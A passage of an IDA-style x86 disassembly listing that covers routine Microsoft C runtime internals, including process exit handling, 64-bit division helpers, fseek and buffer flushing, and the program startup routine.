loc_41435E:				; CODE XREF: sub_4142F5+5Aj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_414373
		mov	eax, [ebp+var_1C]


loc_41436A:				; CODE XREF: sub_4142F5+1Cj
		call	__SEH_epilog
		retn
sub_4142F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_414370	proc near		; DATA XREF: .rdata:stru_427760o
		mov	esi, [ebp-20h]
sub_414370	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_414373	proc near		; CODE XREF: sub_4142F5+6Dp
		push	esi
		call	sub_4166C5
		pop	ecx
		retn
sub_414373	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414380	proc near		; CODE XREF: sub_4078FA+8DAp
					; sub_410A22+285p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_4143B2
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_4143B0
		jz	short loc_4143B2
		sub	ecx, 2


loc_4143B0:				; CODE XREF: sub_414380+29j
		not	ecx


loc_4143B2:				; CODE XREF: sub_414380+9j
					; sub_414380+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_414380	endp


; =============== S U B	R O U T	I N E =======================================



sub_4143B9	proc near		; CODE XREF: sub_414460+CBp
					; sub_414906+1Cp

arg_0		= dword	ptr  4

		push	offset aMscoree_dll ; "mscoree.dll"
		call	ds:dword_41F078	; GetModuleHandleA
		test	eax, eax
		jz	short loc_4143DE
		push	offset aCorexitprocess ; "CorExitProcess"
		push	eax
		call	ds:dword_41F074	; GetProcAddress
		test	eax, eax
		jz	short loc_4143DE
		push	[esp+arg_0]
		call	eax ; dword_42A034


loc_4143DE:				; CODE XREF: sub_4143B9+Dj
					; sub_4143B9+1Dj
		push	[esp+arg_0]
		call	ds:dword_41F02C	; ExitProcess
		int	3		; Trap to Debugger


loc_4143E9:				; CODE XREF: sub_419706+Cp
		push	8
		call	sub_416901
		pop	ecx
		retn
sub_4143B9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4143F2	proc near		; CODE XREF: sub_419738p
		push	8
		call	sub_41686D
		pop	ecx
		retn
sub_4143F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4143FB	proc near		; CODE XREF: .text:loc_414A66p
		mov	eax, off_42C718
		test	eax, eax
		jz	short loc_414406
		call	eax ; sub_413498


loc_414406:				; CODE XREF: sub_4143FB+7j
		push	esi
		push	edi
		mov	ecx, offset dword_42A00C
		mov	edi, offset dword_42A024
		xor	eax, eax
		cmp	ecx, edi
		mov	esi, ecx
		jnb	short loc_414431


loc_41441A:				; CODE XREF: sub_4143FB+30j
		test	eax, eax
		jnz	short loc_41445D
		mov	ecx, [esi]
		test	ecx, ecx
		jz	short loc_414426
		call	ecx


loc_414426:				; CODE XREF: sub_4143FB+27j
		add	esi, 4
		cmp	esi, edi
		jb	short loc_41441A
		test	eax, eax
		jnz	short loc_41445D


loc_414431:				; CODE XREF: sub_4143FB+1Dj
		push	offset sub_419794
		call	sub_41973E
		mov	esi, offset dword_42A000
		mov	eax, esi
		mov	edi, offset dword_42A008
		cmp	eax, edi
		pop	ecx
		jnb	short loc_41445B


loc_41444C:				; CODE XREF: sub_4143FB+5Ej
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_414454
		call	eax


loc_414454:				; CODE XREF: sub_4143FB+55j
		add	esi, 4
		cmp	esi, edi
		jb	short loc_41444C


loc_41445B:				; CODE XREF: sub_4143FB+4Fj
		xor	eax, eax


loc_41445D:				; CODE XREF: sub_4143FB+21j
					; sub_4143FB+34j
		pop	edi
		pop	esi
		retn
sub_4143FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414460	proc near		; CODE XREF: sub_414533+8p
					; sub_414544+8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	8
		call	sub_416901
		xor	esi, esi
		inc	esi
		cmp	dword_479E9C, esi
		pop	ecx
		jnz	short loc_414488
		push	[ebp+arg_0]
		call	ds:dword_41F0B4	; GetCurrentProcess
		push	eax
		call	ds:dword_41F0BC	; TerminateProcess


loc_414488:				; CODE XREF: sub_414460+16j
		cmp	[ebp+arg_4], 0
		mov	al, byte ptr [ebp+arg_8]
		mov	dword_479E98, esi
		mov	byte_479E94, al
		jnz	short loc_4144EE
		mov	ecx, dword_47B670
		test	ecx, ecx
		jz	short loc_4144CF
		mov	eax, dword_47B66C
		sub	eax, 4
		cmp	eax, ecx
		jmp	short loc_4144C8
; ---------------------------------------------------------------------------


loc_4144B2:				; CODE XREF: sub_414460+6Dj
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4144BA
		call	eax


loc_4144BA:				; CODE XREF: sub_414460+56j
		mov	eax, dword_47B66C
		sub	eax, 4
		cmp	eax, dword_47B670


loc_4144C8:				; CODE XREF: sub_414460+50j
		mov	dword_47B66C, eax
		jnb	short loc_4144B2


loc_4144CF:				; CODE XREF: sub_414460+44j
		mov	eax, offset dword_42A028
		mov	esi, offset dword_42A030
		cmp	eax, esi
		mov	edi, eax
		jnb	short loc_4144EE


loc_4144DF:				; CODE XREF: sub_414460+8Cj
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_4144E7
		call	eax


loc_4144E7:				; CODE XREF: sub_414460+83j
		add	edi, 4
		cmp	edi, esi
		jb	short loc_4144DF


loc_4144EE:				; CODE XREF: sub_414460+3Aj
					; sub_414460+7Dj
		mov	eax, offset dword_42A034
		mov	esi, offset dword_42A03C
		cmp	eax, esi
		mov	edi, eax
		jnb	short loc_41450D


loc_4144FE:				; CODE XREF: sub_414460+ABj
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_414506
		call	eax


loc_414506:				; CODE XREF: sub_414460+A2j
		add	edi, 4
		cmp	edi, esi
		jb	short loc_4144FE


loc_41450D:				; CODE XREF: sub_414460+9Cj
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_41451E
		push	8
		call	sub_41686D
		jmp	short loc_414530
; ---------------------------------------------------------------------------


loc_41451E:				; CODE XREF: sub_414460+B3j
		push	[ebp+arg_0]
		mov	dword_479E9C, 1
		call	sub_4143B9


loc_414530:				; CODE XREF: sub_414460+BCj
		pop	ecx
		pop	ebp
		retn
sub_414460	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_414533	proc near		; CODE XREF: .text:00414AB6p

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_414460
		add	esp, 0Ch
		retn
sub_414533	endp


; =============== S U B	R O U T	I N E =======================================



sub_414544	proc near		; CODE XREF: sub_4148E1+1Cp
					; .text:00414AE3p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_414460
		add	esp, 0Ch
		retn
sub_414544	endp


; =============== S U B	R O U T	I N E =======================================



sub_414555	proc near		; CODE XREF: .text:loc_414ABBp
		push	1
		push	0
		push	0
		call	sub_414460
		add	esp, 0Ch
		retn
sub_414555	endp


; =============== S U B	R O U T	I N E =======================================



sub_414564	proc near		; CODE XREF: .text:loc_414AE8p
		push	1
		push	1
		push	0
		call	sub_414460
		add	esp, 0Ch
		retn
sub_414564	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_414580	proc near		; CODE XREF: sub_40FD69+3Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_4145A1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_4145F1
; ---------------------------------------------------------------------------


loc_4145A1:				; CODE XREF: sub_414580+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_4145AF:				; CODE XREF: sub_414580+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4145AF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_4145DA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_4145DA
		jb	short loc_4145E2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_4145E2


loc_4145DA:				; CODE XREF: sub_414580+4Aj
					; sub_414580+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_4145E2:				; CODE XREF: sub_414580+52j
					; sub_414580+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_4145F1:				; CODE XREF: sub_414580+1Fj
		pop	ebx
		retn	10h
sub_414580	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_414600	proc near		; CODE XREF: sub_40FD69+24p
					; sub_413820+29p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_414622
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_414663
; ---------------------------------------------------------------------------


loc_414622:				; CODE XREF: sub_414600+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_414630:				; CODE XREF: sub_414600+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_414630
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41465E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41465E
		jb	short loc_41465F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41465F


loc_41465E:				; CODE XREF: sub_414600+4Ej
					; sub_414600+54j
		dec	esi


loc_41465F:				; CODE XREF: sub_414600+56j
					; sub_414600+5Cj
		xor	edx, edx
		mov	eax, esi


loc_414663:				; CODE XREF: sub_414600+20j
		pop	esi
		pop	ebx
		retn	10h
sub_414600	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_414670	proc near		; CODE XREF: sub_41046C+22Cp
					; sub_41046C+285p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= qword	ptr  4

		cmp	dword_47A3E0, 0
		jz	sub_419AF8
		sub	esp, 8
		stmxcsr	[esp+8+var_4]
		mov	eax, [esp+8+var_4]
		and	eax, 1F80h
		cmp	eax, 1F80h
		jnz	short loc_4146A4
		fnstcw	word ptr [esp+8+var_8]
		mov	ax, word ptr [esp+8+var_8]
		and	ax, 7Fh
		cmp	ax, 7Fh


loc_4146A4:				; CODE XREF: sub_414670+23j
		lea	esp, [esp+8]
		jnz	sub_419AF8
		jmp	short $+2
		movq	xmm0, [esp+arg_0]
		movapd	xmm2, oword ptr	ds:oword_4277A0
		movapd	xmm1, xmm0
		movapd	xmm7, xmm0
		psrlq	xmm0, 34h
		movd	eax, xmm0
		andpd	xmm0, oword ptr	ds:oword_4277D0
		psubd	xmm2, xmm0
		psrlq	xmm1, xmm2
		test	eax, 800h
		jnz	short loc_414732
		cmp	eax, 3FFh
		jl	short loc_41476A
		psllq	xmm1, xmm2
		cmp	eax, 432h
		jg	short loc_414703
		movq	[esp+arg_0], xmm1
		fld	[esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_414703:				; CODE XREF: sub_414670+86j
					; sub_414670+E1j
		ucomisd	xmm7, xmm7
		jnp	short loc_41472D
		mov	edx, 3EDh
		sub	esp, 10h
		mov	[esp+10h+var_4], edx
		mov	edx, esp
		add	edx, 14h
		mov	[esp+10h+var_8], edx
		mov	[esp+10h+var_C], edx
		mov	[esp+10h+var_10], edx
		call	sub_4197D8
		add	esp, 10h


loc_41472D:				; CODE XREF: sub_414670+97j
		fld	[esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_414732:				; CODE XREF: sub_414670+74j
		movq	xmm0, [esp+arg_0]
		psllq	xmm1, xmm2
		movapd	xmm3, xmm0
		cmppd	xmm0, xmm1, 1
		cmp	eax, 0BFFh
		jl	short loc_41476D
		cmp	eax, 0C32h
		jg	short loc_414703
		andpd	xmm0, oword ptr	ds:oword_427790
		subsd	xmm1, xmm0
		movq	[esp+arg_0], xmm1
		fld	[esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_41476A:				; CODE XREF: sub_414670+7Bj
		fldz
		retn
; ---------------------------------------------------------------------------


loc_41476D:				; CODE XREF: sub_414670+DAj
		cmppd	xmm3, oword ptr	ds:oword_4277C0, 1
		orpd	xmm3, oword ptr	ds:oword_4277C0
		andpd	xmm3, oword ptr	ds:oword_4277B0
		movq	[esp+arg_0], xmm3
		fld	[esp+arg_0]
		retn
sub_414670	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414794	proc near		; CODE XREF: sub_41046C+233p
					; sub_41046C+28Cp

var_20		= dword	ptr -20h
var_10		= qword	ptr -10h
var_8		= dword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		and	esp, 0FFFFFFF0h
		fld	st
		fst	[esp+20h+var_8]
		fistp	[esp+20h+var_10]
		fild	[esp+20h+var_10]
		mov	edx, [esp+20h+var_8]
		mov	eax, dword ptr [esp+20h+var_10]
		test	eax, eax
		jz	short loc_4147F3


loc_4147B7:				; CODE XREF: sub_414794+69j
		fsubp	st(1), st
		test	edx, edx
		jns	short loc_4147DB
		fstp	[esp+20h+var_20]
		mov	ecx, [esp+20h+var_20]
		xor	ecx, 80000000h
		add	ecx, 7FFFFFFFh
		adc	eax, 0
		mov	edx, dword ptr [esp+20h+var_10+4]
		adc	edx, 0
		jmp	short locret_414807
; ---------------------------------------------------------------------------


loc_4147DB:				; CODE XREF: sub_414794+27j
		fstp	[esp+20h+var_20]
		mov	ecx, [esp+20h+var_20]
		add	ecx, 7FFFFFFFh
		sbb	eax, 0
		mov	edx, dword ptr [esp+20h+var_10+4]
		sbb	edx, 0
		jmp	short locret_414807
; ---------------------------------------------------------------------------


loc_4147F3:				; CODE XREF: sub_414794+21j
		mov	edx, dword ptr [esp+20h+var_10+4]
		test	edx, 7FFFFFFFh
		jnz	short loc_4147B7
		fstp	[esp+20h+var_8]
		fstp	[esp+20h+var_8]

locret_414807:				; CODE XREF: sub_414794+45j
					; sub_414794+5Dj
		leave
		retn
sub_414794	endp


; =============== S U B	R O U T	I N E =======================================



sub_414809	proc near		; CODE XREF: sub_414898+22p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		push	edi
		jz	short loc_414887
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_414828
		cmp	edi, 1
		jz	short loc_414828
		cmp	edi, 2
		jnz	short loc_414887


loc_414828:				; CODE XREF: sub_414809+13j
					; sub_414809+18j
		and	eax, 0FFFFFFEFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_414840
		push	esi
		call	sub_419CE8
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi


loc_414840:				; CODE XREF: sub_414809+28j
		push	esi
		call	sub_41644D
		mov	eax, [esi+0Ch]
		test	al, al
		pop	ecx
		jns	short loc_414856
		and	eax, 0FFFFFFFCh
		mov	[esi+0Ch], eax
		jmp	short loc_41486A
; ---------------------------------------------------------------------------


loc_414856:				; CODE XREF: sub_414809+43j
		test	al, 1
		jz	short loc_41486A
		test	al, 8
		jz	short loc_41486A
		test	ah, 4
		jnz	short loc_41486A
		mov	dword ptr [esi+18h], 200h


loc_41486A:				; CODE XREF: sub_414809+4Bj
					; sub_414809+4Fj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_419C3D
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_414895
; ---------------------------------------------------------------------------


loc_414887:				; CODE XREF: sub_414809+Bj
					; sub_414809+1Dj
		call	sub_417C70
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh


loc_414895:				; CODE XREF: sub_414809+7Cj
		pop	edi
		pop	esi
		retn
sub_414809	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414898	proc near		; CODE XREF: sub_410A22+2C6p
					; sub_410A22+402p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	0Ch
		push	offset stru_4277E0
		call	__SEH_prolog
		push	[ebp+arg_0]
		call	sub_416673
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_414809
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_4148D7
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_414898	endp


; =============== S U B	R O U T	I N E =======================================



sub_4148D7	proc near		; CODE XREF: sub_414898+31p
					; DATA XREF: .rdata:stru_4277E0o
		push	dword ptr [ebp+8]
		call	sub_4166C5
		pop	ecx
		retn
sub_4148D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4148E1	proc near		; CODE XREF: .text:00414A29p
					; .text:00414A4Fp ...

arg_0		= dword	ptr  4

		cmp	dword_479EA8, 1
		jnz	short loc_4148EF
		call	sub_419FC1


loc_4148EF:				; CODE XREF: sub_4148E1+7j
		push	[esp+arg_0]
		call	sub_419E4A
		push	0FFh
		call	off_42C740
		pop	ecx
		pop	ecx
		retn
sub_4148E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_414906	proc near		; CODE XREF: .text:004149FFp
					; .text:00414A10p

arg_0		= dword	ptr  4

		cmp	dword_479EA8, 1
		jnz	short loc_414914
		call	sub_419FC1


loc_414914:				; CODE XREF: sub_414906+7j
		push	[esp+arg_0]
		call	sub_419E4A
		push	0FFh
		call	sub_4143B9
		pop	ecx
		pop	ecx
		retn
sub_414906	endp

; ---------------------------------------------------------------------------
		push	60h
		push	offset stru_4277F0
		call	__SEH_prolog
		mov	edi, 94h
		mov	eax, edi
		call	sub_412DD0
		mov	[ebp-18h], esp
		mov	esi, esp
		mov	[esi], edi
		push	esi
		call	ds:dword_41F0F8	; GetVersionExA
		mov	ecx, [esi+10h]
		mov	dword_479E5C, ecx
		mov	eax, [esi+4]
		mov	dword_479E68, eax
		mov	edx, [esi+8]
		mov	dword_479E6C, edx
		mov	esi, [esi+0Ch]
		and	esi, 7FFFh
		mov	dword_479E60, esi
		cmp	ecx, 2
		jz	short loc_41498A
		or	esi, 8000h
		mov	dword_479E60, esi


loc_41498A:				; CODE XREF: .text:0041497Cj
		shl	eax, 8
		add	eax, edx
		mov	dword_479E64, eax
		xor	esi, esi
		push	esi
		mov	edi, ds:dword_41F078
		call	edi	; GetModuleHandleA
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_4149C5
		mov	ecx, [eax+3Ch]
		add	ecx, eax
		cmp	dword ptr [ecx], 4550h
		jnz	short loc_4149C5
		movzx	eax, word ptr [ecx+18h]
		cmp	eax, 10Bh
		jz	short loc_4149DD
		cmp	eax, 20Bh
		jz	short loc_4149CA


loc_4149C5:				; CODE XREF: .text:004149A4j
					; .text:004149B1j ...
		mov	[ebp-1Ch], esi
		jmp	short loc_4149F1
; ---------------------------------------------------------------------------


loc_4149CA:				; CODE XREF: .text:004149C3j
		cmp	dword ptr [ecx+84h], 0Eh
		jbe	short loc_4149C5
		xor	eax, eax
		cmp	[ecx+0F8h], esi
		jmp	short loc_4149EB
; ---------------------------------------------------------------------------


loc_4149DD:				; CODE XREF: .text:004149BCj
		cmp	dword ptr [ecx+74h], 0Eh
		jbe	short loc_4149C5
		xor	eax, eax
		cmp	[ecx+0E8h], esi


loc_4149EB:				; CODE XREF: .text:004149DBj
		setnz	al
		mov	[ebp-1Ch], eax


loc_4149F1:				; CODE XREF: .text:004149C8j
		push	1
		call	sub_41677E
		pop	ecx
		test	eax, eax
		jnz	short loc_414A05
		push	1Ch
		call	sub_414906
		pop	ecx


loc_414A05:				; CODE XREF: .text:004149FBj
		call	sub_4154C7
		test	eax, eax
		jnz	short loc_414A16
		push	10h
		call	sub_414906
		pop	ecx


loc_414A16:				; CODE XREF: .text:00414A0Cj
		call	sub_419750
		mov	[ebp-4], esi
		call	sub_41A5BE
		test	eax, eax
		jge	short loc_414A2F
		push	1Bh
		call	sub_4148E1
		pop	ecx


loc_414A2F:				; CODE XREF: .text:00414A25j
		call	ds:dword_41F14C	; GetCommandLineA
		mov	dword_47B664, eax
		call	sub_41A49C
		mov	dword_479EA0, eax
		call	sub_41A3FA
		test	eax, eax
		jge	short loc_414A55
		push	8
		call	sub_4148E1
		pop	ecx


loc_414A55:				; CODE XREF: .text:00414A4Bj
		call	sub_41A1C7
		test	eax, eax
		jge	short loc_414A66
		push	9
		call	sub_4148E1
		pop	ecx


loc_414A66:				; CODE XREF: .text:00414A5Cj
		call	sub_4143FB
		mov	[ebp-20h], eax
		cmp	eax, esi
		jz	short loc_414A79
		push	eax
		call	sub_4148E1
		pop	ecx


loc_414A79:				; CODE XREF: .text:00414A70j
		mov	[ebp-38h], esi
		lea	eax, [ebp-64h]
		push	eax
		call	ds:dword_41F148	; GetStartupInfoA
		call	sub_41A15E
		mov	[ebp-68h], eax
		test	byte ptr [ebp-38h], 1
		jz	short loc_414A9A
		movzx	eax, word ptr [ebp-34h]
		jmp	short loc_414A9D
; ---------------------------------------------------------------------------


loc_414A9A:				; CODE XREF: .text:00414A92j
		push	0Ah
		pop	eax


loc_414A9D:				; CODE XREF: .text:00414A98j
		push	eax
		push	dword ptr [ebp-68h]
		push	esi
		push	esi
		call	edi	; GetModuleHandleA
		push	eax
		call	sub_40D1EF
		mov	edi, eax
		mov	[ebp-6Ch], edi
		cmp	[ebp-1Ch], esi
		jnz	short loc_414ABB
		push	edi
		call	sub_414533


loc_414ABB:				; CODE XREF: .text:00414AB3j
		call	sub_414555
		jmp	short loc_414AED
; ---------------------------------------------------------------------------


loc_414AC2:				; DATA XREF: .rdata:stru_4277F0o
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-70h], ecx
		push	eax
		push	ecx
		call	sub_419FFA
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_414AD6:				; DATA XREF: .rdata:stru_4277F0o
		mov	esp, [ebp-18h]
		mov	edi, [ebp-70h]
		cmp	dword ptr [ebp-1Ch], 0
		jnz	short loc_414AE8
		push	edi
		call	sub_414544


loc_414AE8:				; CODE XREF: .text:00414AE0j
		call	sub_414564


loc_414AED:				; CODE XREF: .text:00414AC0j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, edi
		lea	esp, [ebp-7Ch]
		call	__SEH_epilog
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414AFC	proc near		; CODE XREF: sub_412BB5+4Bp
					; sub_412E0D+4Ap ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 82h
		mov	ebx, [esi+10h]
		jz	loc_414C08
		test	al, 40h
		jnz	loc_414C08
		test	al, 1
		jz	short loc_414B35
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_414C08
		mov	ecx, [esi+8]
		and	eax, 0FFFFFFFEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_414B35:				; CODE XREF: sub_414AFC+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	eax, 0FFFFFFEFh
		or	eax, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_414B71
		cmp	esi, offset dword_42C920
		jz	short loc_414B5F
		cmp	esi, offset dword_42C940
		jnz	short loc_414B6A


loc_414B5F:				; CODE XREF: sub_414AFC+59j
		push	ebx
		call	sub_41AA50
		test	eax, eax
		pop	ecx
		jnz	short loc_414B71


loc_414B6A:				; CODE XREF: sub_414AFC+61j
		push	esi
		call	sub_41AA0C
		pop	ecx


loc_414B71:				; CODE XREF: sub_414AFC+51j
					; sub_414AFC+6Cj
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_414BDE
		mov	eax, [esi+8]
		mov	edi, [esi]
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		sub	edi, eax
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_414B9E
		push	edi
		push	eax
		push	ebx
		call	sub_41A961
		mov	[ebp+arg_4], eax
		jmp	short loc_414BD1
; ---------------------------------------------------------------------------


loc_414B9E:				; CODE XREF: sub_414AFC+93j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_414BBC
		mov	ecx, ebx
		sar	ecx, 5
		mov	ecx, dword_47A2E0[ecx*4]
		mov	eax, ebx
		and	eax, 1Fh
		lea	eax, [eax+eax*8]
		lea	eax, [ecx+eax*4]
		jmp	short loc_414BC1
; ---------------------------------------------------------------------------


loc_414BBC:				; CODE XREF: sub_414AFC+A5j
		mov	eax, offset dword_42D068


loc_414BC1:				; CODE XREF: sub_414AFC+BEj
		test	byte ptr [eax+4], 20h
		jz	short loc_414BD4
		push	2
		push	0
		push	ebx
		call	sub_419C3D


loc_414BD1:				; CODE XREF: sub_414AFC+A0j
		add	esp, 0Ch


loc_414BD4:				; CODE XREF: sub_414AFC+C9j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_414BF2
; ---------------------------------------------------------------------------


loc_414BDE:				; CODE XREF: sub_414AFC+7Cj
		xor	edi, edi
		inc	edi
		push	edi
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		call	sub_41A961
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_414BF2:				; CODE XREF: sub_414AFC+E0j
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_414BFE
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_414C0E
; ---------------------------------------------------------------------------


loc_414BFE:				; CODE XREF: sub_414AFC+FAj
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_414C11
; ---------------------------------------------------------------------------


loc_414C08:				; CODE XREF: sub_414AFC+10j
					; sub_414AFC+18j ...
		or	eax, 20h
		mov	[esi+0Ch], eax


loc_414C0E:				; CODE XREF: sub_414AFC+100j
		or	eax, 0FFFFFFFFh


loc_414C11:				; CODE XREF: sub_414AFC+10Aj
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_414AFC	endp


; =============== S U B	R O U T	I N E =======================================



sub_414C15	proc near		; CODE XREF: sub_414C48+11p
					; sub_414C6C+22p ...
		test	byte ptr [ecx+0Ch], 40h
		jz	short loc_414C21
		cmp	dword ptr [ecx+8], 0
		jz	short loc_414C45


loc_414C21:				; CODE XREF: sub_414C15+4j
		dec	dword ptr [ecx+4]
		js	short loc_414C31
		mov	edx, [ecx]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_414C3D
; ---------------------------------------------------------------------------


loc_414C31:				; CODE XREF: sub_414C15+Fj
		movsx	eax, al
		push	ecx
		push	eax
		call	sub_414AFC
		pop	ecx
		pop	ecx


loc_414C3D:				; CODE XREF: sub_414C15+1Aj
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_414C45
		or	[esi], eax
		retn
; ---------------------------------------------------------------------------


loc_414C45:				; CODE XREF: sub_414C15+Aj
					; sub_414C15+2Bj
		inc	dword ptr [esi]
		retn
sub_414C15	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414C48	proc near		; CODE XREF: sub_414CA3+6A2p
					; sub_414CA3+6CDp ...

arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, eax
		jmp	short loc_414C63
; ---------------------------------------------------------------------------


